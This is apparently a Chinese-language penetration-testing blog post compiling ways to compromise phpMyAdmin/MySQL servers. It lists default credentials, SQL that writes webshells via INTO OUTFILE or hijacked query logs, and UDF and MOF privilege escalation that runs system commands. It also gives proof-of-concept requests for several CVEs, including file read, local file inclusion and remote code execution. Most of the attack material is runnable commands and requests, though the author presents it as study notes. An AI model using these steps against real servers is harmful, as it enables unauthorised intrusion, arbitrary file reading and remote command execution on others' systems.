• phpmyadmin利用的多种方式


     
    关于phpmyadmin的利用方式大佬们已经总结的很好了,这里只是造轮子(便于记录学习)
     

    确认版本

     
    渗透测试信息搜集永远是首位(也是最重要的一步).
     

     

     
    默认目录/doc/html/index.html
     

    phpmyadmin漏洞利用

     
    大多数的漏洞利用方式都为登录后利用,需要进入后台才可以进行利用。常见密码为root:root root:(空格) mysql:mysql
     
    常见的GetShell方式

    • 直接写Shell

      使用条件
       
      当前用户有写入权限

      知道web目录绝对路径

      web路径可写
       
      执行show variables like 'secure_file_priv';若是secure_file_priv一栏是空(如果是NULL的话就代表不允许导入导出)的那么就代表任意位置有写入webshell的权限,否者则为指定的路径(此项在mysql.ini中进行修改)。

       
      猜测web目录的绝对路径
       
      执行show variables like '%datadir%';根据数据库的默认存储位置来猜测web目录绝对路径。
       

       
      是phpstudy的话猜测web目录应该为c:phpStudyPHPTutorialwww
       
      直接写shell
       
      执行select '<?php phpinfo();?>' into outfile 'c:\phpStudy\PHPTutorial\www\pppp.php';

    • 通过开启日志功能来进行GetShell

      使用条件

      必须为root用户

      • 开启日志记录

        set global general_log = "ON";
         

      • 指定日志文件

        set global general_log_file = "C:/phpStudy/PHPTutorial/WWW/.404.php";
         

      • 写入执行代码

        select "<?php phpinfo();?>";
         


         

    • 设置慢查询日志记录(如名就是一些操作慢的查询会被写入日志)

      • 查询慢查询日志的位置

        show variables like '%slow%';
         

      • 重新设置慢查询日志路径

        set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/pppp.php';
         

      • 开启慢查询日志

        set GLOBAL slow_query_log=on;
         

      • 执行慢查询写入日志

        select '<?php phpinfo();?>' from mysql.db where sleep(10);
         

         

        UDF提权(用户自定义函数)

    • 利用条件

      需要具备写权限+插件目录可写(或者可以更改指定的插件目录),具体情况要看目标mysql的版本。

      1. 在mysql>5.1时,dll或者so必须位于mysql安装目录下的libplugin下,当对此目录有写权限的时候可以利用.
         
        查询插件目录show variables like '%plugin%';

      2. 5.0<=mysql version<5.1时,需要导出至目标服务器的系统目录C:\Windows\System32.

      3. version < 5.0时,目录可以自定义.

      写入dll
       
      select 'xxx' into dumpfile 'c:\\Program Files\MySQL\MySQL Server 5.1\lib\plugin\lib_mysqludf_sys.dll'
       
      创建函数
       
      create function sys_eval returns string soname "lib_mysqludf_sys.dll";
       
      执行命令
       
      select * from mysql.func where name = 'sys_eval';查看创建的函数
       
      select sys_eval('whoami');执行命令
       

      MOF提权

       
      通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次上传的MOF。一般适用于Windows <= 2003,并且C:WindowsSystem32mof目录具有写权限(一般是没有权限写)。可以使用MSF直接利用:
       

    se exploit/windows/mysql/mysql_mof
    setrhost 192.168.1.5
    setrport 3306           
    setpasswordroot        
    setusername root        
    exploit
    

    phpmyadmin的一些其他漏洞

    WooYun-2016-199433:任意文件读取漏洞(phpMyAdmin2.x)

    POST /scripts/setup.php HTTP/1.1
    Host: your-ip:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 80
     
    action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
    

    CVE-2014-8959:本地文件包含(影响范围:phpMyAdmin 4.0.1--4.2.12,需要PHP version < 5.3.4 ,Poc如下:)

    /gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00  # 注意改下token值
    

    CVE-2016-5734:后台RCE(影响范围:PhpMyAdmin 4.0.x-4.6.2,需要PHP 4.3.0-5.4.6 versions,利用如下:)

    cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
    

    CVE-2018-1261:后台文件包含(phpMyAdmin 4.8.0和4.8.1,经过验证可实现任意文件包含。利用如下:)

     
    执行sql语句,将PHP代码写入Session文件中:select '<?php phpinfo();exit;?>';

     
    包含session文件
     
    http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_*** # *** 为phpMyAdmin的COOKIE值
     

    CVE-2018-19968:任意文件包含/RCE(phpMyAdmin 4.8.0~4.8.3)
     

    1. 创建数据库,并将PHP代码写入Session文件中

      CREATE DATABASE foo;
      CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
      INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
    2. 生成foo数据库的phpMyAdmin的配置表,访问

      http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
       

    3. 篡改数据插入pma__column_info中:

      http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
       

    4. 访问包含session文件地址

       
      http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
       

    后记

     
    前面关于phpmyadmin的渗透都是根据大佬的博客来总结出来的,后面的话就来讲一下不同版本mysql的一些特性吧.
     

    1. 在mysql5.0之后才引入的information_schema系统数据库,也就是说在mysql5.0以后才可以使用盲注、联和查询。
    2. 在mysql5.6以上的版本中,系统Mysql库中存在两张与innodb相关的表 innodb_table_stats 和 innodb_index_stats

     
    如图可以查询到数据库.
     

    记得还有mysql多少版本才可以使用联和查询来着(忘了23333).
     

    参考博客

     
    t3ngyu师傅

    大部分的东西都是借鉴t3ngyu师傅的

  • 相关阅读:
    【分治】洛谷试炼场
    【Manacher】Colorful String
    【动态规划】背包九讲及相应习题
    【算法课】最大间隙问题
    【hash】Similarity of Subtrees
    YBT 股票买卖
    YBT 鸡蛋的硬度
    YBT 电池的寿命
    YBT Ride to Office
    YBT 装箱问题
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/phpmyadmin-li-yong-de-duo-zhong-fang-shi.html
Copyright © 2020-2023  润新知